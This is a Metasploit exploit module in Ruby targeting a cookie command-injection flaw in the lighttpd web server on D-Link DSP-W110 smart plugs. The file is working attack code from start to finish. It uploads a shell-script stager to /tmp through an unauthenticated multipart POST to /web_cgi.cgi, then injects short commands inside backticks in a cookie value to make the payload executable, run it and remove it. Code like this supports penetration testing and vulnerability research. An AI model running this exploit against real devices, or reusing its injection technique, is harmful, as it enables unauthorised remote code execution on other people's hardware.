##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link Cookie Command Execution',
'Description' => %q{
This module exploits an anonymous remote upload and code execution vulnerability on different
D-Link devices. The vulnerability is a command injection in the cookie handling process of the
lighttpd web server when handling specially crafted cookie values. This module has been
successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment.
},
'Author' =>
[
'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # vulnerability discovery and initial PoC
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'References' =>
[
['URL', 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC
],
'DisclosureDate' => 'Jun 12 2015',
'Payload' =>
{
'DisableNops' => true
},
'Targets' =>
[
[ 'MIPS Little Endian', # unknown if there are LE devices out there ... but in case we have a target
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE
}
],
[ 'MIPS Big Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE
}
]
],
'DefaultTarget' => 1
))
end
def check
begin
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res.headers["Server"] =~ /lighttpd\/1\.4\.34/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end
def exploit
print_status("#{peer} - Trying to access the device ...")
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
end
print_status("#{peer} - Uploading stager ...")
@counter = 1
execute_cmdstager(
:flavor => :echo,
:linemax => 95 # limited by our upload, larger payloads crash the web server
)
print_status("#{peer} - creating payload and executing it ...")
(1 .. @counter).each do |act_file|
# the http server blocks access to our files ... we copy it to a new one
# the length of our command is restricted to 19 characters
cmd = "cp /t*/#{act_file} /tmp/#{act_file+@counter}"
execute_final_command(cmd)
cmd = "chmod +x /tmp/#{act_file+@counter}"
execute_final_command(cmd)
cmd = "/tmp/#{act_file+@counter}"
execute_final_command(cmd)
cmd = "rm /tmp/#{act_file}"
execute_final_command(cmd)
cmd = "rm /tmp/#{act_file+@counter}"
execute_final_command(cmd)
end
end
def execute_command(cmd,opts)
# upload our stager to a shell script
# upload takes quite long because there is no response from the web server
file_upload = "#!/bin/sh\n"
file_upload << cmd << "\n"
post_data = Rex::MIME::Message.new
post_data.add_part(file_upload, nil, "binary", "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{@counter}\"")
post_data.bound = "-#{rand_text_alpha(12)}--"
file = post_data.to_s
@counter = @counter + 1
begin
send_request_cgi({
'method' => 'POST',
'uri' => "/web_cgi.cgi",
'vars_get' => {
'&request' =>'UploadFile',
'path' => '/tmp/'
},
'encode_params' => false,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => file
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
def execute_final_command(cmd)
# very limited space - larger commands crash the webserver
fail_with(Failure::Unknown, "#{peer} - Generated command for injection is too long") if cmd.length > 18
begin
send_request_cgi({
'method' => 'GET',
'uri' => "/",
'cookie' => "i=`#{cmd}`"
}, 5)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end
